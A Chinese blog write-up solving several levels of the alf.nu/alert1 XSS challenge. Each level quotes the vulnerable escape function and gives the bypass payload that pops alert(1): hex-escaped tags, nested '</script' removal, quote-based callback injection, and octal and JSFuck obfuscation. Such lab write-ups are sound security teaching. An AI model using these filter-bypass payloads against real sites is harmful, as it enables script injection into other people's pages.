接续昨天的 XSS Lab(2)-1,今天继续解 https://alf.nu/alert1
题目:
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x;
});
}
function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function(_, n) {
return htmlEscape(args[n]);
});
}
return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
",
{ name : s }
);
}
expandTemplate
自己实作了 template string 的功能
template
字串中找到 {变数名称}
,替换为 args[变数名称]
<>&"'
会跳脱成 HTML Entity 的格式解题:
<
的十六进制为 \x3c
>
的十六进制为 \x3e
ANS:
\x3cimg src=1 onerror=alert(1)\x3e
题目:
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');
return '<script>console.log(' + s + ');</script>';
}
JSON.stringify
会将 JavaScript 变数转化为 JSON 格式的字串,本题会先将输入值丢入 JSON.stringify
,接着还会从中找出所有 </script
字串(大小写不论),替换为空字串解题:
JSON.stringify
会令我们无法直接使用 "
和 )
闭合前面的 console.log
,但当语法错误时,浏览器倾向於将 </script>
优先处理,并显示前面的字串并未闭合的错误。
Error: SyntaxError: "" literal not terminated before end of script
因此我们不需要跳脱"
和 )
,只要能够构造出 </script>
即可。本题虽然会将 </script
替换为空字串,但由於没有反覆检查,只需要让 </script
删除後会产生新的 </script
即可,例如 </</scriptscript
。
成功使用 </script
跳脱後,只要再开一个新的 script 元素,并将後面多余文字注解即可。
ANS:
</</scriptscript><script>alert(1);//
题目:
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);
if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json +")</script>";
}
callback
和 userdata
,使用 #
隔开callback
是否仅由字母、 [
、]
、'
所组成userdata
放入 obj
,建构成一个 Object,再放入 JSON.stringify
转换为 JSON 字串 json
。json
字串中是否有 /
,若有,则全部跳脱为 \/
"<script>" + thing[0] + "(" + json +")</script>"
解法:
根据最後的输出,可以看到题目是预期我们呼叫 callback
函数,并将 userdata
嵌入到 JSON 字串中作为参数。
随便输入一点字,较容易理解,例如 aaaa#bbbb
会输出:
<script>aaaa({"userdata":"bbbb"})</script>
在 JavaScript 里, 一个 expression 可以直接作为 statement ,例如 1 + 3;
和 console.log('baba');
都是有效的 statement。本题我们可以利用这个特性,在 callback 中输入 '
,在 userdata
中同样输入 '
,即可将中间的 ({"userdata":"
全部变成字串,接着用分号直接结束这个 statement,即可在後方输入其他指令,如下所示:
/* 我是字串 */
<script> '({"userdata":"'; alert(1); "})</script>
接下来将後面多余文字注解掉即可。
ANS:
'#';alert(1)<!--
题目:
function escape(s) {
if (/[<>]/.test(s)) return '-';
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
s
是否有包含 <
或 >
,有的话直接 return -
解题:
console.log
可以用 ");
直接跳脱。alert(1)
:
obj.prop
存取,也可以用 obj['prop']
存取。Object
而来,包含 Number
, Array
, Function
都是。\000
。""
有 at
function
""['\141\164']
"".at.constructor('alert(1)')
""['\141\164']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')
()
执行,最後再注解後方文字即可ANS:
"); ""['\141\164']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//
()+[]!
来表示所有 JS 语法
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//
<<: Day 23: 元件原则 — 耦合性 (待改进中... )
>>: 初探网路安全(四):加密演算法,何谓对称及非对称式加密?
前言 走过了资料分析、演算法选择後, 我们得知了有些可以改善模型的方向: 解决资料不平衡 学习率的设...
主题发想 最一开始我们希望做一个以妖怪为主题的AR游戏,经过讨论以及资料收集後,发现山海经里的神兽与...
GitHub Repo https://github.com/b2etw/Spring-Kotlin...
上一篇用到的注册,其实是有点小问题的,像是如果用户名重复了,或是帐号密码都不打也可以注册 这一篇比较...
Traces - 观察应用程序的效能瓶颈 系列文章 (1/6) - Elastic APM 基本介绍...